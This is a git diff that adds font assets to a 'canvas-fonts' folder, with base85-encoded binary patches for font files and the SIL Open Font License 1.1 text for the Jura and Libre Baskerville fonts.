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 Ig)=YxKM8mxz5oCK literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Jura-OFL.txt b/skills/frontend-dev/canvas-fonts/Jura-OFL.txt new file mode 100644 index 0000000..64ad4c6 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Jura-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/LibreBaskerville-OFL.txt b/skills/frontend-dev/canvas-fonts/LibreBaskerville-OFL.txt new file mode 100644 index 0000000..8c531fa --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/LibreBaskerville-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/LibreBaskerville-Regular.ttf b/skills/frontend-dev/canvas-fonts/LibreBaskerville-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..c1abc2645f623b8ab8d71724df32746b1aa627aa GIT binary patch literal 147584 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 